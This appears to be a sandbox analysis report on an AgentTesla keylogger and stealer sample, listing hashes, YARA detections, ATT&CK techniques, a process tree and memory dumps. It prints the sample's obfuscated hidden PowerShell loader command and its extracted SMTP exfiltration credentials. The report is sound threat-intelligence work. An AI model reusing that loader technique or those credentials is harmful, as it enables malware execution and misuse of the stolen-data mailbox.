agenttesla | 8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95

Analysis

max time kernel
147s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240319-en
resource tags

arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
submitted
09/04/2024, 01:44

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General

Target

8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe
Size

593KB
MD5

3cb7a144c3a7d35a77044c167749f84d
SHA1

23e83390e052b0ce98e5446768a18cf06669b57d
SHA256

8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95
SHA512

09b7b80dcea62ad01e7338ff2ff37f24938457994f93658ddc9d10c4b8b847da7dc67f6f647821ced3ad4f2277f291ffc7510ade550001f30d88327bf8ae4035
SSDEEP

6144:LoGzI1X9PZVheNA+ff0RUt3vCKIH2nqoejh4q/tjkshlTqleM97CtzrwalKI8J2x:LbSnhe2eGUt/jnqrZ1hlTpMVklxVtqev

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.melanopharma.com
Port:
587
Username:
[email protected]
Password:
melano@2022
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs

resource	yara_rule
behavioral2/memory/3016-59-0x0000000000800000-0x0000000001A54000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral2/memory/3016-63-0x0000000000800000-0x0000000000842000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs

resource	yara_rule
behavioral2/memory/3016-59-0x0000000000800000-0x0000000001A54000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/3016-63-0x0000000000800000-0x0000000000842000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs

resource	yara_rule
behavioral2/memory/3016-59-0x0000000000800000-0x0000000001A54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral2/memory/3016-63-0x0000000000800000-0x0000000000842000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs

resource	yara_rule
behavioral2/memory/3016-59-0x0000000000800000-0x0000000001A54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral2/memory/3016-63-0x0000000000800000-0x0000000000842000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/3016-59-0x0000000000800000-0x0000000001A54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral2/memory/3016-63-0x0000000000800000-0x0000000000842000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/3016-59-0x0000000000800000-0x0000000001A54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral2/memory/3016-63-0x0000000000800000-0x0000000000842000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/3016-59-0x0000000000800000-0x0000000001A54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral2/memory/3016-63-0x0000000000800000-0x0000000000842000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
57	drive.google.com
58	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
66	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3016	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4632	powershell.exe
3016	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4632 set thread context of 3016	4632	powershell.exe	111

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Bejdsen70\woody.ini	8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
3016	wab.exe
3016	wab.exe
3016	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4632	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeDebugPrivilege	3016	wab.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 4632	1260	8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe	96
PID 1260 wrote to memory of 4632	1260	8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe	96
PID 1260 wrote to memory of 4632	1260	8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe	96
PID 4632 wrote to memory of 2160	4632	powershell.exe	104
PID 4632 wrote to memory of 2160	4632	powershell.exe	104
PID 4632 wrote to memory of 2160	4632	powershell.exe	104
PID 4632 wrote to memory of 3016	4632	powershell.exe	111
PID 4632 wrote to memory of 3016	4632	powershell.exe	111
PID 4632 wrote to memory of 3016	4632	powershell.exe	111
PID 4632 wrote to memory of 3016	4632	powershell.exe	111
PID 4632 wrote to memory of 3016	4632	powershell.exe	111

C:\Users\Admin\AppData\Local\Temp\8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe
"C:\Users\Admin\AppData\Local\Temp\8e9fea5458c969eaf662771d87e2e9d2487e904e5dbeea5d90fc7e44369c3f95.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -windowstyle hidden "$Uigennemskydelig=Get-Content 'C:\Users\Admin\AppData\Roaming\strbt\fragtrate\Alcaydes\Paleolimnology\ansgningsfristernes\Dishonorables\Sweety64.Sch';$Taknemligeres=$Uigennemskydelig.SubString(5985,3);.$Taknemligeres($Uigennemskydelig)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
    3⤵
    PID:2160
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4012 --field-trial-handle=2284,i,13100272738549420251,6151825632958897606,262144 --variations-seed-version /prefetch:8
1⤵
PID:1760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iavoniru.mru.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\strbt\fragtrate\Alcaydes\Paleolimnology\ansgningsfristernes\Dishonorables\Sweety64.Sch

Filesize
61KB

MD5
e5c2dca2119f3e664238f0f51539dbb5

SHA1
24fc5d8ac634d19acafbf78852482014c052f996

SHA256
b3f8b29f9da552c657a02fbadad0745e365ea1d548fe22ddbfb3e9450eb29837

SHA512
458178c3e2f344a9f28a505c870667d5f3387c7cdd0b6cde22ff428e460b2d433f2653b7516fc5698837e41a635e31f2f59564a33631e938b0801749c6f7b7a6

Download Submit
C:\Users\Admin\AppData\Roaming\strbt\fragtrate\Alcaydes\Paleolimnology\ansgningsfristernes\Dishonorables\Villainies.tra

Filesize
332KB

MD5
eb365e5cf4a8ec7a8d968bc1792b4e4d

SHA1
89c52f3670452362ff4da8f23de870c0ef01bb82

SHA256
059a2053042b469979f5755161c39bd951d44b697fb74286b33a36f2f59d7591

SHA512
fa76a7fb167595d605ab78665403e2a2bace07da26bbe601093d553980c53cd46a6b624f888ce184059a021dccdf59fb36e20ae234bb20c1dca61906c1ba49b1

Download Submit
memory/3016-45-0x0000000077031000-0x0000000077151000-memory.dmp

Filesize
1.1MB

Download
memory/3016-44-0x00000000770B8000-0x00000000770B9000-memory.dmp

Filesize
4KB

Download
memory/3016-71-0x0000000022440000-0x0000000022450000-memory.dmp

Filesize
64KB

Download
memory/3016-70-0x0000000073540000-0x0000000073CF0000-memory.dmp

Filesize
7.7MB

Download
memory/3016-67-0x0000000024A50000-0x0000000024A5A000-memory.dmp

Filesize
40KB

Download
memory/3016-66-0x00000000250F0000-0x0000000025182000-memory.dmp

Filesize
584KB

Download
memory/3016-65-0x00000000249D0000-0x0000000024A20000-memory.dmp

Filesize
320KB

Download
memory/3016-64-0x0000000022440000-0x0000000022450000-memory.dmp

Filesize
64KB

Download
memory/3016-62-0x0000000073540000-0x0000000073CF0000-memory.dmp

Filesize
7.7MB

Download
memory/3016-63-0x0000000000800000-0x0000000000842000-memory.dmp

Filesize
264KB

Download
memory/3016-60-0x0000000077031000-0x0000000077151000-memory.dmp

Filesize
1.1MB

Download
memory/3016-59-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/3016-58-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/4632-26-0x0000000006A90000-0x0000000006B26000-memory.dmp

Filesize
600KB

Download
memory/4632-29-0x00000000070E0000-0x0000000007684000-memory.dmp

Filesize
5.6MB

Download
memory/4632-31-0x0000000007D10000-0x000000000838A000-memory.dmp

Filesize
6.5MB

Download
memory/4632-33-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4632-6-0x0000000073540000-0x0000000073CF0000-memory.dmp

Filesize
7.7MB

Download
memory/4632-9-0x0000000004F20000-0x0000000005548000-memory.dmp

Filesize
6.2MB

Download
memory/4632-7-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4632-43-0x0000000077031000-0x0000000077151000-memory.dmp

Filesize
1.1MB

Download
memory/4632-39-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4632-40-0x0000000008390000-0x000000000CF3D000-memory.dmp

Filesize
75.7MB

Download
memory/4632-41-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4632-42-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4632-38-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4632-37-0x0000000073540000-0x0000000073CF0000-memory.dmp

Filesize
7.7MB

Download
memory/4632-5-0x0000000002100000-0x0000000002136000-memory.dmp

Filesize
216KB

Download
memory/4632-28-0x0000000006050000-0x0000000006072000-memory.dmp

Filesize
136KB

Download
memory/4632-27-0x0000000006000000-0x000000000601A000-memory.dmp

Filesize
104KB

Download
memory/4632-35-0x0000000007060000-0x0000000007064000-memory.dmp

Filesize
16KB

Download
memory/4632-61-0x0000000073540000-0x0000000073CF0000-memory.dmp

Filesize
7.7MB

Download
memory/4632-25-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4632-24-0x0000000005E70000-0x0000000005EBC000-memory.dmp

Filesize
304KB

Download
memory/4632-23-0x0000000005AC0000-0x0000000005ADE000-memory.dmp

Filesize
120KB

Download
memory/4632-22-0x0000000005650000-0x00000000059A4000-memory.dmp

Filesize
3.3MB

Download
memory/4632-8-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4632-12-0x0000000004D80000-0x0000000004DE6000-memory.dmp

Filesize
408KB

Download
memory/4632-11-0x0000000004D10000-0x0000000004D76000-memory.dmp

Filesize
408KB

Download
memory/4632-10-0x0000000004B60000-0x0000000004B82000-memory.dmp

Filesize
136KB

Download